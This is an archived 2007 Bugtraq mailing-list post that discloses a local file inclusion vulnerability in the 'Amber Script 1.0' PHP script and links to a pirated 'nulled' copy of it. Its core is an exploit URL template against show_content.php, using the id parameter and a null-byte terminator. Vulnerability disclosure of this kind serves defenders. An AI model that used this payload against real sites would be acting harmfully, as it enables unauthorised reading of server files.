bugtraq - Amber Script 1.0 (show_content.php id) Local File Inclusion Vulnerability

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

Looking for a web hosting provider? Try DreamHost (enter the promo code WAIVE to waive the $49.95 setup fee)

[<prev] [next>] [month] [year] [list]

Date: 24 Nov 2007 20:36:57 -0000
From: cybermilitan@...mail.com
To: bugtraq@...urityfocus.com
Subject: Amber Script 1.0 (show_content.php id) Local File Inclusion
 Vulnerability

______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Amber Script 1.0
*    [~] Download.....:       http://rapidshare.com/files/54891799/Amber_Script_1.0.rar (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@...mail.com & localexploit@...mail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://www.script4sale.info/demo/amber/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...:     http://[Taget]/[amber_path]/scripts/include/show_content.php?id=LF&#304; %00
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+